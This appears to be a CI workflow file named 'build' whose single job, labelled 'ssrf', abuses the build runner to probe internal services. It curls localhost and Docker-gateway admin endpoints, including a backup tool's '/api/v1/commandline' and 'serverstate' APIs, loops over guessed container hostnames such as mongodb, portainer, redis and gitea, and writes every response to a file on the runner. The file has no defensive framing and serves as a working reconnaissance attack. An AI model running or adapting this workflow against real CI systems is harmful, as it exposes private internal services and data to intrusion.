28 lines
1.4 KiB
YAML
28 lines
1.4 KiB
YAML
name: build
|
|
on: [push]
|
|
jobs:
|
|
ssrf:
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- name: SSRF Results
|
|
shell: cmd
|
|
run: |
|
|
echo === LOCALHOST SSRF === > C:\ssrf.txt
|
|
curl -sk "http://127.0.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
|
|
echo. >> C:\ssrf.txt
|
|
curl -sk "http://127.0.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
|
|
echo. >> C:\ssrf.txt
|
|
curl -sk "http://127.0.0.1:8200/api/v1/serverstate" >> C:\ssrf.txt 2>&1
|
|
echo. >> C:\ssrf.txt
|
|
echo === DOCKER NETWORK SSRF === >> C:\ssrf.txt
|
|
for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami calibre) do curl -sk --connect-timeout 2 "http://%%H:27017/" >> C:\ssrf.txt 2>&1 && echo [%%H:27017 OK] >> C:\ssrf.txt
|
|
echo. >> C:\ssrf.txt
|
|
for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami) do curl -sk --connect-timeout 2 "http://%%H:3000/" >> C:\ssrf.txt 2>&1
|
|
echo. >> C:\ssrf.txt
|
|
echo === DOCKER GATEWAY === >> C:\ssrf.txt
|
|
curl -sk --connect-timeout 2 "http://172.17.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
|
|
echo. >> C:\ssrf.txt
|
|
curl -sk --connect-timeout 2 "http://172.17.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
|
|
echo. >> C:\ssrf.txt
|
|
curl -sk --connect-timeout 2 "http://host.docker.internal:9000/api/status" >> C:\ssrf.txt 2>&1
|